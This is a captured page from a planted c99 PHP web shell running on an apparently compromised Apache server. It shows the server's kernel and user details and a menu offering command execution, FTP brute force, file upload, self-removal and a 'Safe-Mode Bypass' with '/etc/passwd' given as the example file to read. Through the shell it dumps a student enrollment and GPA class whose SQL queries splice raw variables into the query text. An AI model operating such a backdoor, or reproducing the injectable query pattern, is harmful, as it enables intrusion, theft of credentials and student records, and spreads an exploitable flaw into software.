!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/class/   drwxr-xr-x
Free 52.61 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsEnrollItemOLD.php (14.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
SetQuery("select sum(credit1) as num from EnrollItem where studentId='$xKey' and acadYear='$yKey' and semester='$zKey'"); if ($result=$this->GetResult()) { return $result['num']; } } function GetSumCr2ByStIdAndAcYAndSe($xKey, $yKey, $zKey){ $this->SetQuery("select sum(credit2) as num from EnrollItem where studentId='$xKey' and acadYear='$yKey' and semester='$zKey'"); if ($result=$this->GetResult()) { return $result['num']; } } function RSEnrollItemByStIdAndAcYAndSe($xKey, $yKey, $zKey){ $this->SetQuery("select * from EnrollItem where studentId='$xKey' and acadYear='$yKey' and semester='$zKey'"); } function RSEnrollItemByStIdAndAcYAndSeAndCdId($wKey, $xKey, $yKey, $zKey){ $this->SetQuery("select * from EnrollItem where studentId='$wKey' and acadYear='$xKey' and semester='$yKey' and conditionId='$zKey'"); } function GetSumCrAtByStId($xKey){ $this->SetQuery("select sum(creditAttempt) as num from EnrollItem where studentId='$xKey'"); if ($result=$this->GetResult()) { return $result['num']; } } function GetSumCrAtByStIdAndAcYAndSe($xKey, $yKey, $zKey){ $this->SetQuery("select sum(creditAttempt) as num from EnrollItem where studentId='$xKey' and acadYear='$yKey' and semester='$zKey'"); if ($result=$this->GetResult()) { return $result['num']; } } function RSEnrollItemByStIdAndAcYAndSeAndClId($wKey, $xKey, $yKey, $zKey){ $this->SetQuery("select * from EnrollItem where studentId='$wKey' and acadYear='$xKey' and semester='$yKey' and classId='$zKey'"); } function GetSumCrAtByStIdAndCdIdAndCdId2($xKey, $yKey, $zKey){ $this->SetQuery("select sum(creditAttempt) as num from EnrollItem where studentId='$xKey' and conditionId='$yKey' and conditionId2='$zKey'"); if ($result=$this->GetResult()) { return $result['num']; } } function RSEnrollItemByStIdAndCdIdAndCdId2($xKey, $yKey, $zKey){ $this->SetQuery("select * from EnrollItem where studentId='$xKey' and conditionId='$yKey' and conditionId2='$zKey'"); } function GetSumCrAtByStIdAndCdId($xKey, $yKey){ $this->SetQuery("select sum(creditAttempt) as num from EnrollItem where studentId='$xKey' and conditionId='$yKey'"); if ($result=$this->GetResult()) { return $result['num']; } } function RSEnrollItemByStIdAndCdId($xKey, $yKey){ $this->SetQuery("select * from EnrollItem where studentId='$xKey' and conditionId='$yKey' order by semester, acadYear"); } function RSEnrollItemByStIdAndGradeIsF($xKey){ $this->SetQuery("select * from EnrollItem where studentId='$xKey' and grade='F'"); } function RSEnrollItemByClId($xKey){ $this->SetQuery("select * from EnrollItem where classId='$xKey'"); } // Use on page classTable.php function RSEnrollItemByClassId($cKey, $dKey, $eKey){ $this->SetQuery("select classId from EnrollItem where classId='$cKey' and semester='$dKey' and acadYear='$eKey' group by classId"); // $this->SetQuery("select * from EnrollItem where classId='$cKey' and semester='$dKey' and acadYear='$eKey' group by classId"); } //-- The end -- // Use on page addGrade.php function RSEnrollItemByClsIdAcySem($bKey,$cKey,$dKey){ $this->SetQuery("select * from EnrollItem where classId='$bKey' and acadYear='$cKey' and semester='$dKey' order by studentId"); } function RSEnrollItemCountStIdByGrade($ClsId,$AcY,$SeM,$Gd){ $this->SetQuery("select count(studentId) as num from EnrollItem where classId='$ClsId' and acadYear='$AcY' and semester='$SeM' and grade='$Gd' order by studentId"); if ($result=$this->GetResult()) { return $result['num']; } } function RSEnrollItemCountStIdByAllGrade($ClsId,$AcY,$SeM){ $this->SetQuery("select count(studentId) as num from EnrollItem where classId='$ClsId' and acadYear='$AcY' and semester='$SeM' and grade!='F' and grade!='' order by studentId"); if ($result=$this->GetResult()) { return $result['num']; } } //-- The end -- // Use on page processSendGrade.php function SearchByKeyStudIdClsIdAcySem($wKey, $xKey, $yKey, $zKey){ if ($this->SetQuery("select * from EnrollItem where studentId='$wKey' and classId='$xKey' and acadYear='$yKey' and semester='$zKey' order by studentId")){ return 1; }else { return 0; } } //-- The End -- // Use on page calGradeProg.php function RSEnrollItemByAcySem($bKey,$cKey){ $this->SetQuery("select studentId from EnrollItem where acadYear='$bKey' and semester='$cKey' group by studentId"); } //-- The end -- //-- Use on page calGradeProg.php -- function RSEnrollItemGetStud($aKey, $bKey, $cKey){ $this->SetQuery("select * from EnrollItem where studentId='$aKey' and acadYear='$bKey' and semester='$cKey' and noCalGPA='N'"); } //-- The end -- //-- Use on page processCalGradeProg.php -- function RSEnrollItemGetGdPXCdAtt($aKey, $AcY, $SeM, $str){ $this->SetQuery("select * from EnrollItem where studentId='$aKey' and acadYear='$AcY' and semester='$SeM' and noCalGPA='N' and grade in ($str)"); } function RSEnrollItemSemGradeCr($aKey, $AcY, $SeM, $str){ $this->SetQuery("select sum(creditAttempt) as num from EnrollItem where studentId='$aKey' and acadYear='$AcY' and semester='$SeM' and noCalGPA='N' and grade in ($str)"); if ($result=$this->GetResult()) { return $result['num']; } } function RSEnrollItemCumGradeCr($aKey, $AcY, $SeM, $str){ $this->SetQuery("select * from EnrollItem where studentId='$aKey' and concat($AcY, $SeM) >= concat(acadYear,semester) and noCalGPA='N' and grade in ($str)"); } function RSEnrollItemCumGradeCr2($aKey, $AcY, $SeM, $str){ $this->SetQuery("select sum(creditAttempt) as num from EnrollItem where studentId='$aKey' and concat($AcY, $SeM) >= concat(acadYear,semester) and noCalGPA='N' and grade in ($str)"); if ($result=$this->GetResult()) { return $result['num']; } } function RSEnrollItemCountGrade($AcY, $SeM){ $this->SetQuery("select count(grade) as num from EnrollItem where acadYear='$AcY' and semester='$SeM'"); if ($result=$this->GetResult()) { return $result['num']; } } function RSEnrollItemCountGradeByStId($StId, $AcY, $SeM){ $this->SetQuery("select count(grade) as num from EnrollItem where studentId='$StId', acadYear='$AcY' and semester='$SeM'"); if ($result=$this->GetResult()) { return $result['num']; } } function RSEnrollItemByStId($StId){ $this->SetQuery("select acadYear, semester from EnrollItem where studentId='$StId' group by acadYear, semester"); } /*function RSEnrollItemByStIdCoIdAcYSeMNoF($StID,$ClID,$AcY,$SeM){ $this->SetQuery("select * from EnrollItem where studentId='$aKey' and and acadYear='$bKey' and semester='$cKey' and noCalGPA='N' and grade in ($str)"); }*/ function calSemGPA($aKey, $bKey, $cKey){ //-- This function for calculate GPA Current include_once "clsGradeConfig.php"; include_once "clsClass.php"; $oGc = new GradeConfig(); $oGc2 = new GradeConfig(); $oCl = new Class1(); $oCl2 = new Class1(); $semGPA=0; $gradeXCreditAttmp=0; $sumCreditAttmp=0; $sumTotalCredit=0; $i=0; $oGc->RSGradeConfig(); while($oGc->GetRecord()){ if($oGc->calGrade=='Y' && $oGc->calCredit=='Y'){ // GPA term $strGyy="'".$oGc->grade."',".$strGyy; } $i++; } // Set varia ble new $strGyy=$strGyy."''"; $j=0; $this->RSEnrollItemGetGdPXCdAtt($aKey, $bKey, $cKey, $strGyy); while($this->GetRecord()){ $oGc2->SearchByKeyGrade($this->grade); $oGc2->GetRecord(); $gradeXCreditAttmp=($oGc2->gradePoint*$this->creditAttempt) + $gradeXCreditAttmp; //$sumCreditAttmp=$this->creditAttempt + $sumCreditAttmp; $j++; } $sumCreditAttmp=$this->RSEnrollItemSemGradeCr($aKey, $bKey, $cKey, $strGyy); $semGPA=$gradeXCreditAttmp/$sumCreditAttmp; return number_format($semGPA,2); } function calCreditAttempt($aKey, $bKey, $cKey){ //-- This function for calculate CreditAttempt Current include_once "clsGradeConfig.php"; $oGc = new GradeConfig(); $sumCreditAttmp=0; $i=0; $oGc->RSGradeConfig(); while($oGc->GetRecord()){ if($oGc->calCredit=='Y'){ // Credit Attempt $strGay="'".$oGc->grade."',".$strGay; } $i++; } // Set varia ble new $strGay=$strGay."''"; $j=0; //$this->RSEnrollItemGetGdPXCdAtt($aKey, $bKey, $cKey, $strGay); //while($this->GetRecord()){ // $sumCreditAttmp=$this->creditAttempt + $sumCreditAttmp; // $j++; //} $sumCreditAttmp=$this->RSEnrollItemSemGradeCr($aKey, $bKey, $cKey, $strGay); return $sumCreditAttmp; } function calCreditSatisfy($aKey, $bKey, $cKey){ //-- This function for calculate CreditSatisfy Current include_once "clsGradeConfig.php"; $oGc = new GradeConfig(); $sumCreditSatisfy=0; $i=0; $oGc->RSGradeConfig(); while($oGc->GetRecord()){ if($oGc->grade!='F' && $oGc->calCredit=='Y'){ // Credit Satisfy $strGnfy="'".$oGc->grade."',".$strGnfy; } $i++; } // Set varia ble new $strGnfy=$strGnfy."''"; $j=0; //$this->RSEnrollItemGetGdPXCdAtt($aKey, $bKey, $cKey, $strGnfy); //while($this->GetRecord()){ // $sumCreditSatisfy=$this->creditAttempt + $sumCreditSatisfy; // $j++; //} $sumCreditSatisfy=$this->RSEnrollItemSemGradeCr($aKey, $bKey, $cKey, $strGnfy); return $sumCreditSatisfy; } function calCreditPoint($aKey, $bKey, $cKey){ //-- This function for calculate CreditPoint Current include_once "clsGradeConfig.php"; $oGc = new GradeConfig(); $sumCreditPoint=0; $i=0; $oGc->RSGradeConfig(); while($oGc->GetRecord()){ if($oGc->grade!='F' && $oGc->calGrade=='Y' && $oGc->calCredit=='Y'){ // Credit Point $strGnfyy="'".$oGc->grade."',".$strGnfyy; } $i++; } // Set varia ble new $strGnfyy=$strGnfyy."''"; $j=0; /*$this->RSEnrollItemGetGdPXCdAtt($aKey, $bKey, $cKey, $strGnfyy); while($this->GetRecord()){ $sumCreditPoint=$this->creditAttempt + $sumCreditPoint; $j++; } */ $sumCreditPoint=$this->RSEnrollItemSemGradeCr($aKey, $bKey, $cKey, $strGnfyy); return $sumCreditPoint; } function calCumGPA($aKey,$AcY,$SeM){ //-- This function for calculate GPA total grade point average include_once "clsGradeConfig.php"; $oGc = new GradeConfig(); $oGc2 = new GradeConfig(); $cumGPA=0; $gradeXCreditAttmp=0; $cumCreditAttmp=0; $cumTotalCredit=0; $i=0; $oGc->RSGradeConfig(); while($oGc->GetRecord()){ if($oGc->calGrade=='Y' && $oGc->calCredit=='Y'){ // Total GPA term $strGyy="'".$oGc->grade."',".$strGyy; } $i++; } // Set varia ble new $strGyy=$strGyy."''"; $j=0; $this->RSEnrollItemCumGradeCr($aKey, $AcY, $SeM, $strGyy); while($this->GetRecord()){ $oGc2->SearchByKeyGrade($this->grade); $oGc2->Getrecord(); $gradeXCreditAttmp=($oGc2->gradePoint*$this->creditAttempt) + $gradeXCreditAttmp; // $cumCreditAttmp=$this->creditAttempt + $cumCreditAttmp; $j++; } $cumCreditAttmp=$this->RSEnrollItemCumGradeCr2($aKey, $AcY, $SeM, $strGyy); $cumGPA=$gradeXCreditAttmp/$cumCreditAttmp; return number_format($cumGPA,2); } function calCumCreditAttempt($aKey, $AcY, $SeM){ //-- This function for calculate CreditAttempt Total include_once "clsGradeConfig.php"; $oGc = new GradeConfig(); $cumCreditAttmp=0; $i=0; $oGc->RSGradeConfig(); while($oGc->GetRecord()){ if($oGc->calCredit=='Y'){ // Total Credit Attempt $strGay="'".$oGc->grade."',".$strGay; } $i++; } // Set varia ble new $strGay=$strGay."''"; $j=0; /*$this->RSEnrollItemCumGradeCr($aKey, $AcY, $SeM, $strGay); while($this->GetRecord()){ $cumCreditAttmp=$this->creditAttempt + $cumCreditAttmp; $j++; }*/ $cumCreditAttmp=$this->RSEnrollItemCumGradeCr2($aKey, $AcY, $SeM, $strGay); return $cumCreditAttmp; } function calCumCreditSatisfy($aKey, $AcY, $SeM){ //-- This function for calculate CreditSatisfy Total include_once "clsGradeConfig.php"; $oGc = new GradeConfig(); $cumCreditSatisfy=0; $i=0; $oGc->RSGradeConfig(); while($oGc->GetRecord()){ if($oGc->grade!='F' && $oGc->calCredit=='Y'){ // Total Credit Satisfy $strGnfy="'".$oGc->grade."',".$strGnfy; } $i++; } // Set varia ble new $strGnfy=$strGnfy."''"; $j=0; /*$this->RSEnrollItemCumGradeCr($aKey, $AcY, $SeM, $strGnfy); while($this->GetRecord()){ $cumCreditSatisfy=$this->creditAttempt + $cumCreditSatisfy; $j++; }*/ $cumCreditSatisfy=$this->RSEnrollItemCumGradeCr2($aKey, $AcY, $SeM, $strGnfy); return $cumCreditSatisfy; } function calCumCreditPoint($aKey, $AcY, $SeM){ //-- This function for calculate CreditPoint Total include_once "clsGradeConfig.php"; $oGc = new GradeConfig(); $cumCreditPoint=0; $i=0; $oGc->RSGradeConfig(); while($oGc->GetRecord()){ if($oGc->grade!='F' && $oGc->calGrade=='Y' && $oGc->calCredit=='Y'){ // Total Credit Point $strGnfyy="'".$oGc->grade."',".$strGnfyy; } $i++; } // Set varia ble new $strGnfyy=$strGnfyy."''"; $j=0; /*$this->RSEnrollItemCumGradeCr($aKey, $AcY, $SeM, $strGnfyy); while($this->GetRecord()){ $cumCreditPoint=$this->creditAttempt + $cumCreditPoint; $j++; }*/ $cumCreditPoint=$this->RSEnrollItemCumGradeCr2($aKey, $AcY, $SeM, $strGnfyy); return $cumCreditPoint; } //-- The end -- //-- Use on page processChgStudYProg.php -- function RSEnrollItemCountCoIdNoF($StID){ $this->SetQuery("select count(grade) as num from EnrollItem where studentId='$StID' and noCalGPA='N' and grade='F' "); if ($result=$this->GetResult()) { return $result['num']; } } //-- The end -- // Use on page beforeShowClassTeach.php function RSEnrollItemByAcySem2($bKey,$cKey){ $this->SetQuery("select * from EnrollItem where acadYear='$bKey' and semester='$cKey' order by studentId"); } function SearchByKeyClsId($ClsId){ if($this->SetQuery("select count(classId) as num from EnrollItem where classId='$ClsId' order by classId")){ return 1; }else{ return 0; } } //-- The end -- //---- function SearchCourseByStIdAcYSemTssDay($StId,$AcY,$SeM,$Tss,$Dy){ $this->setQuery("select cr.courseCode, e.section, r.roomNo, t.timeSlotStart, t.timeSlotEnd from EnrollItem e, Class c, ClassTimeTable t, Course cr, Room r where e.studentId='$StId' and e.acadYear='$AcY' and e.semester='$SeM' and e.classId=c.classId and c.classId=t.classId and c.courseId=cr.courseId and t.roomId=r.roomId and t.timeSlotStart='$Tss' and t.weekDay='$Dy'"); } function ClearData(){ $this->tcourseCode =''; $this->tsection =''; $this->troomNo =''; $this->tTimeSlotStart =''; $this->tTimeSlotEnd =''; } //---- // Use on page showCourseSendGrade.php function RSEnrollItemBySeMAcY($aKey,$bKey){ if($this->SetQuery("select classId from EnrollItem where semester='$aKey' and acadYear='$bKey' group by classId")){ return 1; }else{ return 0; } } //-- The end -- } //--End class EnrollItem-- ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0056 ]--